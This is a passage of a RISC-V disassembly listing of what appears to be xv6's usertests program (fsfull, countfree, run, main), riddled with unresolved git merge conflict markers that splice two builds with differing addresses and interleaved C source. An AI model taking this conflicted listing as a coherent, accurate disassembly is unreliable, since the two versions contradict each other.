4be0: 04054d63 bltz a0,4c3a <dirtest+0x86>
4be4: 00003517 auipc a0,0x3
<<<<<<< HEAD
4be8: f7450513 addi a0,a0,-140 # 7b58 <l_free+0x20f0>
=======
4be8: f7450513 addi a0,a0,-140 # 7b58 <l_free+0x20f2>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4bec: 00001097 auipc ra,0x1
4bf0: 950080e7 jalr -1712(ra) # 553c <chdir>
4bf4: 06054163 bltz a0,4c56 <dirtest+0xa2>
4bf8: 00003517 auipc a0,0x3
<<<<<<< HEAD
4bfc: 82850513 addi a0,a0,-2008 # 7420 <l_free+0x19b8>
=======
4bfc: 82850513 addi a0,a0,-2008 # 7420 <l_free+0x19ba>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4c00: 00001097 auipc ra,0x1
4c04: 93c080e7 jalr -1732(ra) # 553c <chdir>
4c08: 06054563 bltz a0,4c72 <dirtest+0xbe>
4c0c: 00003517 auipc a0,0x3
<<<<<<< HEAD
4c10: f4c50513 addi a0,a0,-180 # 7b58 <l_free+0x20f0>
=======
4c10: f4c50513 addi a0,a0,-180 # 7b58 <l_free+0x20f2>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4c14: 00001097 auipc ra,0x1
4c18: 908080e7 jalr -1784(ra) # 551c <unlink>
4c1c: 06054963 bltz a0,4c8e <dirtest+0xda>
4c20: 00003517 auipc a0,0x3
<<<<<<< HEAD
4c24: f8850513 addi a0,a0,-120 # 7ba8 <l_free+0x2140>
4c28: 00001097 auipc ra,0x1
4c2c: c1e080e7 jalr -994(ra) # 5846 <printf>
=======
4c24: f8850513 addi a0,a0,-120 # 7ba8 <l_free+0x2142>
4c28: 00001097 auipc ra,0x1
4c2c: c1c080e7 jalr -996(ra) # 5844 <printf>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4c30: 60e2 ld ra,24(sp)
4c32: 6442 ld s0,16(sp)
4c34: 64a2 ld s1,8(sp)
4c36: 6105 addi sp,sp,32
4c38: 8082 ret
4c3a: 85a6 mv a1,s1
4c3c: 00002517 auipc a0,0x2
<<<<<<< HEAD
4c40: 18450513 addi a0,a0,388 # 6dc0 <l_free+0x1358>
4c44: 00001097 auipc ra,0x1
4c48: c02080e7 jalr -1022(ra) # 5846 <printf>
4c4c: 4505 li a0,1
4c4e: 00001097 auipc ra,0x1
4c52: 87e080e7 jalr -1922(ra) # 54cc <exit>
4c56: 85a6 mv a1,s1
4c58: 00003517 auipc a0,0x3
4c5c: f0850513 addi a0,a0,-248 # 7b60 <l_free+0x20f8>
4c60: 00001097 auipc ra,0x1
4c64: be6080e7 jalr -1050(ra) # 5846 <printf>
4c68: 4505 li a0,1
4c6a: 00001097 auipc ra,0x1
4c6e: 862080e7 jalr -1950(ra) # 54cc <exit>
4c72: 85a6 mv a1,s1
4c74: 00003517 auipc a0,0x3
4c78: f0450513 addi a0,a0,-252 # 7b78 <l_free+0x2110>
4c7c: 00001097 auipc ra,0x1
4c80: bca080e7 jalr -1078(ra) # 5846 <printf>
4c84: 4505 li a0,1
4c86: 00001097 auipc ra,0x1
4c8a: 846080e7 jalr -1978(ra) # 54cc <exit>
4c8e: 85a6 mv a1,s1
4c90: 00003517 auipc a0,0x3
4c94: f0050513 addi a0,a0,-256 # 7b90 <l_free+0x2128>
4c98: 00001097 auipc ra,0x1
4c9c: bae080e7 jalr -1106(ra) # 5846 <printf>
=======
4c40: 18450513 addi a0,a0,388 # 6dc0 <l_free+0x135a>
4c44: 00001097 auipc ra,0x1
4c48: c00080e7 jalr -1024(ra) # 5844 <printf>
exit(1);
4c4c: 4505 li a0,1
4c4e: 00001097 auipc ra,0x1
4c52: 87e080e7 jalr -1922(ra) # 54cc <exit>
printf("%s: chdir dir0 failed\n", s);
4c56: 85a6 mv a1,s1
4c58: 00003517 auipc a0,0x3
4c5c: f0850513 addi a0,a0,-248 # 7b60 <l_free+0x20fa>
4c60: 00001097 auipc ra,0x1
4c64: be4080e7 jalr -1052(ra) # 5844 <printf>
exit(1);
4c68: 4505 li a0,1
4c6a: 00001097 auipc ra,0x1
4c6e: 862080e7 jalr -1950(ra) # 54cc <exit>
printf("%s: chdir .. failed\n", s);
4c72: 85a6 mv a1,s1
4c74: 00003517 auipc a0,0x3
4c78: f0450513 addi a0,a0,-252 # 7b78 <l_free+0x2112>
4c7c: 00001097 auipc ra,0x1
4c80: bc8080e7 jalr -1080(ra) # 5844 <printf>
exit(1);
4c84: 4505 li a0,1
4c86: 00001097 auipc ra,0x1
4c8a: 846080e7 jalr -1978(ra) # 54cc <exit>
printf("%s: unlink dir0 failed\n", s);
4c8e: 85a6 mv a1,s1
4c90: 00003517 auipc a0,0x3
4c94: f0050513 addi a0,a0,-256 # 7b90 <l_free+0x212a>
4c98: 00001097 auipc ra,0x1
4c9c: bac080e7 jalr -1108(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4ca0: 4505 li a0,1
4ca2: 00001097 auipc ra,0x1
4ca6: 82a080e7 jalr -2006(ra) # 54cc <exit>
0000000000004caa <fsfull>:
4caa: 7171 addi sp,sp,-176
4cac: f506 sd ra,168(sp)
4cae: f122 sd s0,160(sp)
4cb0: ed26 sd s1,152(sp)
4cb2: e94a sd s2,144(sp)
4cb4: e54e sd s3,136(sp)
4cb6: e152 sd s4,128(sp)
4cb8: fcd6 sd s5,120(sp)
4cba: f8da sd s6,112(sp)
4cbc: f4de sd s7,104(sp)
4cbe: f0e2 sd s8,96(sp)
4cc0: ece6 sd s9,88(sp)
4cc2: e8ea sd s10,80(sp)
4cc4: e4ee sd s11,72(sp)
4cc6: 1900 addi s0,sp,176
4cc8: 00003517 auipc a0,0x3
<<<<<<< HEAD
4ccc: ef850513 addi a0,a0,-264 # 7bc0 <l_free+0x2158>
4cd0: 00001097 auipc ra,0x1
4cd4: b76080e7 jalr -1162(ra) # 5846 <printf>
=======
4ccc: ef850513 addi a0,a0,-264 # 7bc0 <l_free+0x215a>
4cd0: 00001097 auipc ra,0x1
4cd4: b74080e7 jalr -1164(ra) # 5844 <printf>
for (nfiles = 0;; nfiles++) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4cd8: 4481 li s1,0
4cda: 06600d13 li s10,102
4cde: 3e800c13 li s8,1000
4ce2: 06400b93 li s7,100
4ce6: 4b29 li s6,10
4ce8: 00003c97 auipc s9,0x3
<<<<<<< HEAD
4cec: ee8c8c93 addi s9,s9,-280 # 7bd0 <l_free+0x2168>
=======
4cec: ee8c8c93 addi s9,s9,-280 # 7bd0 <l_free+0x216a>
int total = 0;
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4cf0: 4d81 li s11,0
4cf2: 00007a17 auipc s4,0x7
4cf6: d1ea0a13 addi s4,s4,-738 # ba10 <buf>
4cfa: f5a40823 sb s10,-176(s0)
4cfe: 0384c7bb divw a5,s1,s8
4d02: 0307879b addiw a5,a5,48
4d06: f4f408a3 sb a5,-175(s0)
4d0a: 0384e7bb remw a5,s1,s8
4d0e: 0377c7bb divw a5,a5,s7
4d12: 0307879b addiw a5,a5,48
4d16: f4f40923 sb a5,-174(s0)
4d1a: 0374e7bb remw a5,s1,s7
4d1e: 0367c7bb divw a5,a5,s6
4d22: 0307879b addiw a5,a5,48
4d26: f4f409a3 sb a5,-173(s0)
4d2a: 0364e7bb remw a5,s1,s6
4d2e: 0307879b addiw a5,a5,48
4d32: f4f40a23 sb a5,-172(s0)
4d36: f4040aa3 sb zero,-171(s0)
4d3a: f5040593 addi a1,s0,-176
4d3e: 8566 mv a0,s9
4d40: 00001097 auipc ra,0x1
<<<<<<< HEAD
4d44: b06080e7 jalr -1274(ra) # 5846 <printf>
=======
4d44: b04080e7 jalr -1276(ra) # 5844 <printf>
int fd = open(name, O_CREATE | O_RDWR);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4d48: 20200593 li a1,514
4d4c: f5040513 addi a0,s0,-176
4d50: 00000097 auipc ra,0x0
4d54: 7bc080e7 jalr 1980(ra) # 550c <open>
4d58: 892a mv s2,a0
4d5a: 0a055663 bgez a0,4e06 <fsfull+0x15c>
4d5e: f5040593 addi a1,s0,-176
4d62: 00003517 auipc a0,0x3
<<<<<<< HEAD
4d66: e7e50513 addi a0,a0,-386 # 7be0 <l_free+0x2178>
4d6a: 00001097 auipc ra,0x1
4d6e: adc080e7 jalr -1316(ra) # 5846 <printf>
=======
4d66: e7e50513 addi a0,a0,-386 # 7be0 <l_free+0x217a>
4d6a: 00001097 auipc ra,0x1
4d6e: ada080e7 jalr -1318(ra) # 5844 <printf>
while (nfiles >= 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4d72: 0604c363 bltz s1,4dd8 <fsfull+0x12e>
4d76: 06600b13 li s6,102
4d7a: 3e800a13 li s4,1000
4d7e: 06400993 li s3,100
4d82: 4929 li s2,10
4d84: 5afd li s5,-1
4d86: f5640823 sb s6,-176(s0)
4d8a: 0344c7bb divw a5,s1,s4
4d8e: 0307879b addiw a5,a5,48
4d92: f4f408a3 sb a5,-175(s0)
4d96: 0344e7bb remw a5,s1,s4
4d9a: 0337c7bb divw a5,a5,s3
4d9e: 0307879b addiw a5,a5,48
4da2: f4f40923 sb a5,-174(s0)
4da6: 0334e7bb remw a5,s1,s3
4daa: 0327c7bb divw a5,a5,s2
4dae: 0307879b addiw a5,a5,48
4db2: f4f409a3 sb a5,-173(s0)
4db6: 0324e7bb remw a5,s1,s2
4dba: 0307879b addiw a5,a5,48
4dbe: f4f40a23 sb a5,-172(s0)
4dc2: f4040aa3 sb zero,-171(s0)
4dc6: f5040513 addi a0,s0,-176
4dca: 00000097 auipc ra,0x0
4dce: 752080e7 jalr 1874(ra) # 551c <unlink>
<<<<<<< HEAD
=======
nfiles--;
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4dd2: 34fd addiw s1,s1,-1
4dd4: fb5499e3 bne s1,s5,4d86 <fsfull+0xdc>
4dd8: 00003517 auipc a0,0x3
<<<<<<< HEAD
4ddc: e3850513 addi a0,a0,-456 # 7c10 <l_free+0x21a8>
4de0: 00001097 auipc ra,0x1
4de4: a66080e7 jalr -1434(ra) # 5846 <printf>
=======
4ddc: e3850513 addi a0,a0,-456 # 7c10 <l_free+0x21aa>
4de0: 00001097 auipc ra,0x1
4de4: a64080e7 jalr -1436(ra) # 5844 <printf>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4de8: 70aa ld ra,168(sp)
4dea: 740a ld s0,160(sp)
4dec: 64ea ld s1,152(sp)
4dee: 694a ld s2,144(sp)
4df0: 69aa ld s3,136(sp)
4df2: 6a0a ld s4,128(sp)
4df4: 7ae6 ld s5,120(sp)
4df6: 7b46 ld s6,112(sp)
4df8: 7ba6 ld s7,104(sp)
4dfa: 7c06 ld s8,96(sp)
4dfc: 6ce6 ld s9,88(sp)
4dfe: 6d46 ld s10,80(sp)
4e00: 6da6 ld s11,72(sp)
4e02: 614d addi sp,sp,176
4e04: 8082 ret
4e06: 89ee mv s3,s11
4e08: 3ff00a93 li s5,1023
4e0c: 40000613 li a2,1024
4e10: 85d2 mv a1,s4
4e12: 854a mv a0,s2
4e14: 00000097 auipc ra,0x0
4e18: 6d8080e7 jalr 1752(ra) # 54ec <write>
<<<<<<< HEAD
=======
if (cc < BSIZE)
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4e1c: 00aad563 bge s5,a0,4e26 <fsfull+0x17c>
4e20: 00a989bb addw s3,s3,a0
4e24: b7e5 j 4e0c <fsfull+0x162>
4e26: 85ce mv a1,s3
4e28: 00003517 auipc a0,0x3
<<<<<<< HEAD
4e2c: dd050513 addi a0,a0,-560 # 7bf8 <l_free+0x2190>
4e30: 00001097 auipc ra,0x1
4e34: a16080e7 jalr -1514(ra) # 5846 <printf>
4e38: 854a mv a0,s2
4e3a: 00000097 auipc ra,0x0
4e3e: 6ba080e7 jalr 1722(ra) # 54f4 <close>
=======
4e2c: dd050513 addi a0,a0,-560 # 7bf8 <l_free+0x2192>
4e30: 00001097 auipc ra,0x1
4e34: a14080e7 jalr -1516(ra) # 5844 <printf>
close(fd);
4e38: 854a mv a0,s2
4e3a: 00000097 auipc ra,0x0
4e3e: 6ba080e7 jalr 1722(ra) # 54f4 <close>
if (total == 0)
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4e42: f20988e3 beqz s3,4d72 <fsfull+0xc8>
4e46: 2485 addiw s1,s1,1
4e48: bd4d j 4cfa <fsfull+0x50>
0000000000004e4a <rand>:
4e4a: 1141 addi sp,sp,-16
4e4c: e422 sd s0,8(sp)
4e4e: 0800 addi s0,sp,16
4e50: 00003717 auipc a4,0x3
4e54: 38070713 addi a4,a4,896 # 81d0 <randstate>
4e58: 6308 ld a0,0(a4)
4e5a: 001967b7 lui a5,0x196
4e5e: 60d78793 addi a5,a5,1549 # 19660d <__BSS_END__+0x187bed>
4e62: 02f50533 mul a0,a0,a5
4e66: 3c6ef7b7 lui a5,0x3c6ef
4e6a: 35f78793 addi a5,a5,863 # 3c6ef35f <__BSS_END__+0x3c6e093f>
4e6e: 953e add a0,a0,a5
4e70: e308 sd a0,0(a4)
4e72: 2501 sext.w a0,a0
4e74: 6422 ld s0,8(sp)
4e76: 0141 addi sp,sp,16
4e78: 8082 ret
0000000000004e7a <countfree>:
4e7a: 7139 addi sp,sp,-64
4e7c: fc06 sd ra,56(sp)
4e7e: f822 sd s0,48(sp)
4e80: f426 sd s1,40(sp)
4e82: f04a sd s2,32(sp)
4e84: ec4e sd s3,24(sp)
4e86: 0080 addi s0,sp,64
4e88: fc840513 addi a0,s0,-56
4e8c: 00000097 auipc ra,0x0
4e90: 650080e7 jalr 1616(ra) # 54dc <pipe>
4e94: 06054763 bltz a0,4f02 <countfree+0x88>
4e98: 00000097 auipc ra,0x0
4e9c: 62c080e7 jalr 1580(ra) # 54c4 <fork>
<<<<<<< HEAD
=======
if (pid < 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4ea0: 06054e63 bltz a0,4f1c <countfree+0xa2>
4ea4: ed51 bnez a0,4f40 <countfree+0xc6>
4ea6: fc842503 lw a0,-56(s0)
4eaa: 00000097 auipc ra,0x0
4eae: 64a080e7 jalr 1610(ra) # 54f4 <close>
<<<<<<< HEAD
=======
while (1) {
uint64 a = (uint64)sbrk(4096);
if (a == 0xffffffffffffffff) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4eb2: 597d li s2,-1
4eb4: 4485 li s1,1
4eb6: 00001997 auipc s3,0x1
<<<<<<< HEAD
4eba: f7298993 addi s3,s3,-142 # 5e28 <l_free+0x3c0>
4ebe: 6505 lui a0,0x1
4ec0: 00000097 auipc ra,0x0
4ec4: 694080e7 jalr 1684(ra) # 5554 <sbrk>
=======
4eba: f7298993 addi s3,s3,-142 # 5e28 <l_free+0x3c2>
uint64 a = (uint64)sbrk(4096);
4ebe: 6505 lui a0,0x1
4ec0: 00000097 auipc ra,0x0
4ec4: 694080e7 jalr 1684(ra) # 5554 <sbrk>
if (a == 0xffffffffffffffff) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4ec8: 07250763 beq a0,s2,4f36 <countfree+0xbc>
4ecc: 6785 lui a5,0x1
4ece: 953e add a0,a0,a5
4ed0: fe950fa3 sb s1,-1(a0) # fff <bigdir+0x133>
<<<<<<< HEAD
=======
if (write(fds[1], "x", 1) != 1) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4ed4: 8626 mv a2,s1
4ed6: 85ce mv a1,s3
4ed8: fcc42503 lw a0,-52(s0)
4edc: 00000097 auipc ra,0x0
4ee0: 610080e7 jalr 1552(ra) # 54ec <write>
4ee4: fc950de3 beq a0,s1,4ebe <countfree+0x44>
4ee8: 00003517 auipc a0,0x3
<<<<<<< HEAD
4eec: d8050513 addi a0,a0,-640 # 7c68 <l_free+0x2200>
4ef0: 00001097 auipc ra,0x1
4ef4: 956080e7 jalr -1706(ra) # 5846 <printf>
4ef8: 4505 li a0,1
4efa: 00000097 auipc ra,0x0
4efe: 5d2080e7 jalr 1490(ra) # 54cc <exit>
4f02: 00003517 auipc a0,0x3
4f06: d2650513 addi a0,a0,-730 # 7c28 <l_free+0x21c0>
4f0a: 00001097 auipc ra,0x1
4f0e: 93c080e7 jalr -1732(ra) # 5846 <printf>
4f12: 4505 li a0,1
4f14: 00000097 auipc ra,0x0
4f18: 5b8080e7 jalr 1464(ra) # 54cc <exit>
4f1c: 00003517 auipc a0,0x3
4f20: d2c50513 addi a0,a0,-724 # 7c48 <l_free+0x21e0>
4f24: 00001097 auipc ra,0x1
4f28: 922080e7 jalr -1758(ra) # 5846 <printf>
4f2c: 4505 li a0,1
4f2e: 00000097 auipc ra,0x0
4f32: 59e080e7 jalr 1438(ra) # 54cc <exit>
4f36: 4501 li a0,0
4f38: 00000097 auipc ra,0x0
4f3c: 594080e7 jalr 1428(ra) # 54cc <exit>
4f40: fcc42503 lw a0,-52(s0)
4f44: 00000097 auipc ra,0x0
4f48: 5b0080e7 jalr 1456(ra) # 54f4 <close>
=======
4eec: d8050513 addi a0,a0,-640 # 7c68 <l_free+0x2202>
4ef0: 00001097 auipc ra,0x1
4ef4: 954080e7 jalr -1708(ra) # 5844 <printf>
exit(1);
4ef8: 4505 li a0,1
4efa: 00000097 auipc ra,0x0
4efe: 5d2080e7 jalr 1490(ra) # 54cc <exit>
printf("pipe() failed in countfree()\n");
4f02: 00003517 auipc a0,0x3
4f06: d2650513 addi a0,a0,-730 # 7c28 <l_free+0x21c2>
4f0a: 00001097 auipc ra,0x1
4f0e: 93a080e7 jalr -1734(ra) # 5844 <printf>
exit(1);
4f12: 4505 li a0,1
4f14: 00000097 auipc ra,0x0
4f18: 5b8080e7 jalr 1464(ra) # 54cc <exit>
printf("fork failed in countfree()\n");
4f1c: 00003517 auipc a0,0x3
4f20: d2c50513 addi a0,a0,-724 # 7c48 <l_free+0x21e2>
4f24: 00001097 auipc ra,0x1
4f28: 920080e7 jalr -1760(ra) # 5844 <printf>
exit(1);
4f2c: 4505 li a0,1
4f2e: 00000097 auipc ra,0x0
4f32: 59e080e7 jalr 1438(ra) # 54cc <exit>
}
}
exit(0);
4f36: 4501 li a0,0
4f38: 00000097 auipc ra,0x0
4f3c: 594080e7 jalr 1428(ra) # 54cc <exit>
}
close(fds[1]);
4f40: fcc42503 lw a0,-52(s0)
4f44: 00000097 auipc ra,0x0
4f48: 5b0080e7 jalr 1456(ra) # 54f4 <close>
int n = 0;
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4f4c: 4481 li s1,0
4f4e: 4605 li a2,1
4f50: fc740593 addi a1,s0,-57
4f54: fc842503 lw a0,-56(s0)
4f58: 00000097 auipc ra,0x0
4f5c: 58c080e7 jalr 1420(ra) # 54e4 <read>
<<<<<<< HEAD
=======
if (cc < 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4f60: 00054563 bltz a0,4f6a <countfree+0xf0>
4f64: c105 beqz a0,4f84 <countfree+0x10a>
4f66: 2485 addiw s1,s1,1
4f68: b7dd j 4f4e <countfree+0xd4>
4f6a: 00003517 auipc a0,0x3
<<<<<<< HEAD
4f6e: d1e50513 addi a0,a0,-738 # 7c88 <l_free+0x2220>
4f72: 00001097 auipc ra,0x1
4f76: 8d4080e7 jalr -1836(ra) # 5846 <printf>
4f7a: 4505 li a0,1
4f7c: 00000097 auipc ra,0x0
4f80: 550080e7 jalr 1360(ra) # 54cc <exit>
4f84: fc842503 lw a0,-56(s0)
4f88: 00000097 auipc ra,0x0
4f8c: 56c080e7 jalr 1388(ra) # 54f4 <close>
4f90: 4501 li a0,0
4f92: 00000097 auipc ra,0x0
4f96: 542080e7 jalr 1346(ra) # 54d4 <wait>
=======
4f6e: d1e50513 addi a0,a0,-738 # 7c88 <l_free+0x2222>
4f72: 00001097 auipc ra,0x1
4f76: 8d2080e7 jalr -1838(ra) # 5844 <printf>
exit(1);
4f7a: 4505 li a0,1
4f7c: 00000097 auipc ra,0x0
4f80: 550080e7 jalr 1360(ra) # 54cc <exit>
}
close(fds[0]);
4f84: fc842503 lw a0,-56(s0)
4f88: 00000097 auipc ra,0x0
4f8c: 56c080e7 jalr 1388(ra) # 54f4 <close>
wait((int *)0);
4f90: 4501 li a0,0
4f92: 00000097 auipc ra,0x0
4f96: 542080e7 jalr 1346(ra) # 54d4 <wait>
return n;
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4f9a: 8526 mv a0,s1
4f9c: 70e2 ld ra,56(sp)
4f9e: 7442 ld s0,48(sp)
4fa0: 74a2 ld s1,40(sp)
4fa2: 7902 ld s2,32(sp)
4fa4: 69e2 ld s3,24(sp)
4fa6: 6121 addi sp,sp,64
4fa8: 8082 ret
0000000000004faa <run>:
4faa: 7179 addi sp,sp,-48
4fac: f406 sd ra,40(sp)
4fae: f022 sd s0,32(sp)
4fb0: ec26 sd s1,24(sp)
4fb2: e84a sd s2,16(sp)
4fb4: 1800 addi s0,sp,48
4fb6: 84aa mv s1,a0
4fb8: 892e mv s2,a1
4fba: 00003517 auipc a0,0x3
<<<<<<< HEAD
4fbe: cee50513 addi a0,a0,-786 # 7ca8 <l_free+0x2240>
4fc2: 00001097 auipc ra,0x1
4fc6: 884080e7 jalr -1916(ra) # 5846 <printf>
=======
4fbe: cee50513 addi a0,a0,-786 # 7ca8 <l_free+0x2242>
4fc2: 00001097 auipc ra,0x1
4fc6: 882080e7 jalr -1918(ra) # 5844 <printf>
if ((pid = fork()) < 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4fca: 00000097 auipc ra,0x0
4fce: 4fa080e7 jalr 1274(ra) # 54c4 <fork>
4fd2: 02054e63 bltz a0,500e <run+0x64>
4fd6: c929 beqz a0,5028 <run+0x7e>
4fd8: fdc40513 addi a0,s0,-36
4fdc: 00000097 auipc ra,0x0
4fe0: 4f8080e7 jalr 1272(ra) # 54d4 <wait>
<<<<<<< HEAD
=======
if (xstatus != 0)
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4fe4: fdc42783 lw a5,-36(s0)
4fe8: c7b9 beqz a5,5036 <run+0x8c>
4fea: 00003517 auipc a0,0x3
<<<<<<< HEAD
4fee: ce650513 addi a0,a0,-794 # 7cd0 <l_free+0x2268>
4ff2: 00001097 auipc ra,0x1
4ff6: 854080e7 jalr -1964(ra) # 5846 <printf>
=======
4fee: ce650513 addi a0,a0,-794 # 7cd0 <l_free+0x226a>
4ff2: 00001097 auipc ra,0x1
4ff6: 852080e7 jalr -1966(ra) # 5844 <printf>
else
printf("OK\n");
return xstatus == 0;
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4ffa: fdc42503 lw a0,-36(s0)
4ffe: 00153513 seqz a0,a0
5002: 70a2 ld ra,40(sp)
5004: 7402 ld s0,32(sp)
5006: 64e2 ld s1,24(sp)
5008: 6942 ld s2,16(sp)
500a: 6145 addi sp,sp,48
500c: 8082 ret
500e: 00003517 auipc a0,0x3
<<<<<<< HEAD
5012: caa50513 addi a0,a0,-854 # 7cb8 <l_free+0x2250>
5016: 00001097 auipc ra,0x1
501a: 830080e7 jalr -2000(ra) # 5846 <printf>
501e: 4505 li a0,1
5020: 00000097 auipc ra,0x0
5024: 4ac080e7 jalr 1196(ra) # 54cc <exit>
=======
5012: caa50513 addi a0,a0,-854 # 7cb8 <l_free+0x2252>
5016: 00001097 auipc ra,0x1
501a: 82e080e7 jalr -2002(ra) # 5844 <printf>
exit(1);
501e: 4505 li a0,1
5020: 00000097 auipc ra,0x0
5024: 4ac080e7 jalr 1196(ra) # 54cc <exit>
f(s);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5028: 854a mv a0,s2
502a: 9482 jalr s1
502c: 4501 li a0,0
502e: 00000097 auipc ra,0x0
5032: 49e080e7 jalr 1182(ra) # 54cc <exit>
<<<<<<< HEAD
5036: 00003517 auipc a0,0x3
503a: ca250513 addi a0,a0,-862 # 7cd8 <l_free+0x2270>
503e: 00001097 auipc ra,0x1
5042: 808080e7 jalr -2040(ra) # 5846 <printf>
5046: bf55 j 4ffa <run+0x50>
0000000000005048 <main>:
=======
printf("OK\n");
5036: 00003517 auipc a0,0x3
503a: ca250513 addi a0,a0,-862 # 7cd8 <l_free+0x2272>
503e: 00001097 auipc ra,0x1
5042: 806080e7 jalr -2042(ra) # 5844 <printf>
5046: bf55 j 4ffa <run+0x50>
0000000000005048 <main>:
int main(int argc, char *argv[]) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5048: c3010113 addi sp,sp,-976
504c: 3c113423 sd ra,968(sp)
5050: 3c813023 sd s0,960(sp)
5054: 3a913c23 sd s1,952(sp)
5058: 3b213823 sd s2,944(sp)
505c: 3b313423 sd s3,936(sp)
5060: 3b413023 sd s4,928(sp)
5064: 39513c23 sd s5,920(sp)
5068: 39613823 sd s6,912(sp)
506c: 0f80 addi s0,sp,976
506e: 89aa mv s3,a0
5070: 4789 li a5,2
5072: 08f50263 beq a0,a5,50f6 <main+0xae>
<<<<<<< HEAD
=======
continuous = 1;
} else if (argc == 2 && strcmp(argv[1], "-C") == 0) {
continuous = 2;
} else if (argc == 2 && argv[1][0] != '-') {
justone = argv[1];
} else if (argc > 1) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5076: 4785 li a5,1
5078: 4901 li s2,0
<<<<<<< HEAD
507a: 0aa7cb63 blt a5,a0,5130 <main+0xe8>
507e: 00003797 auipc a5,0x3
5082: d4278793 addi a5,a5,-702 # 7dc0 <l_free+0x2358>
5086: c3040713 addi a4,s0,-976
508a: 00003317 auipc t1,0x3
508e: 0c630313 addi t1,t1,198 # 8150 <l_free+0x26e8>
=======
} else if (argc > 1) {
507a: 0aa7cb63 blt a5,a0,5130 <main+0xe8>
}
struct test {
void (*f)(char *);
char *s;
} tests[] = {
507e: 00003797 auipc a5,0x3
5082: d4278793 addi a5,a5,-702 # 7dc0 <l_free+0x235a>
5086: c3040713 addi a4,s0,-976
508a: 00003317 auipc t1,0x3
508e: 0c630313 addi t1,t1,198 # 8150 <l_free+0x26ea>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5092: 0007b883 ld a7,0(a5)
5096: 0087b803 ld a6,8(a5)
509a: 6b88 ld a0,16(a5)
509c: 6f8c ld a1,24(a5)
509e: 7390 ld a2,32(a5)
50a0: 7794 ld a3,40(a5)
50a2: 01173023 sd a7,0(a4)
50a6: 01073423 sd a6,8(a4)
50aa: eb08 sd a0,16(a4)
50ac: ef0c sd a1,24(a4)
50ae: f310 sd a2,32(a4)
50b0: f714 sd a3,40(a4)
50b2: 03078793 addi a5,a5,48
50b6: 03070713 addi a4,a4,48
50ba: fc679ce3 bne a5,t1,5092 <main+0x4a>
<<<<<<< HEAD
50be: 00003517 auipc a0,0x3
50c2: ca250513 addi a0,a0,-862 # 7d60 <l_free+0x22f8>
50c6: 00000097 auipc ra,0x0
50ca: 780080e7 jalr 1920(ra) # 5846 <printf>
50ce: c3843503 ld a0,-968(s0)
50d2: c3040493 addi s1,s0,-976
50d6: 4981 li s3,0
50d8: 4a05 li s4,1
50da: ed51 bnez a0,5176 <main+0x12e>
50dc: 00003517 auipc a0,0x3
50e0: c6c50513 addi a0,a0,-916 # 7d48 <l_free+0x22e0>
50e4: 00000097 auipc ra,0x0
50e8: 762080e7 jalr 1890(ra) # 5846 <printf>
=======
exit(1);
}
}
}
printf("usertests starting\n");
50be: 00003517 auipc a0,0x3
50c2: ca250513 addi a0,a0,-862 # 7d60 <l_free+0x22fa>
50c6: 00000097 auipc ra,0x0
50ca: 77e080e7 jalr 1918(ra) # 5844 <printf>
int free0 = 100; // countfree();
int free1 = 0;
int fail = 0;
for (struct test *t = tests; t->s != 0; t++) {
50ce: c3843503 ld a0,-968(s0)
50d2: c3040493 addi s1,s0,-976
int fail = 0;
50d6: 4981 li s3,0
if ((justone == 0) || strcmp(t->s, justone) == 0) {
if (!run(t->f, t->s))
fail = 1;
50d8: 4a05 li s4,1
for (struct test *t = tests; t->s != 0; t++) {
50da: ed51 bnez a0,5176 <main+0x12e>
exit(1);
} else if ((free1 = 100) < free0) {
printf("FAILED -- lost some free pages %d (out of %d)\n", free1, free0);
exit(1);
} else {
printf("ALL TESTS PASSED\n");
50dc: 00003517 auipc a0,0x3
50e0: c6c50513 addi a0,a0,-916 # 7d48 <l_free+0x22e2>
50e4: 00000097 auipc ra,0x0
50e8: 760080e7 jalr 1888(ra) # 5844 <printf>
exit(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
50ec: 4501 li a0,0
50ee: 00000097 auipc ra,0x0
50f2: 3de080e7 jalr 990(ra) # 54cc <exit>
50f6: 84ae mv s1,a1
<<<<<<< HEAD
50f8: 00003597 auipc a1,0x3
50fc: be858593 addi a1,a1,-1048 # 7ce0 <l_free+0x2278>
=======
if (argc == 2 && strcmp(argv[1], "-c") == 0) {
50f8: 00003597 auipc a1,0x3
50fc: be858593 addi a1,a1,-1048 # 7ce0 <l_free+0x227a>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5100: 6488 ld a0,8(s1)
5102: 00000097 auipc ra,0x0
5106: 178080e7 jalr 376(ra) # 527a <strcmp>
510a: c57d beqz a0,51f8 <main+0x1b0>
<<<<<<< HEAD
510c: 00003597 auipc a1,0x3
5110: c8c58593 addi a1,a1,-884 # 7d98 <l_free+0x2330>
=======
} else if (argc == 2 && strcmp(argv[1], "-C") == 0) {
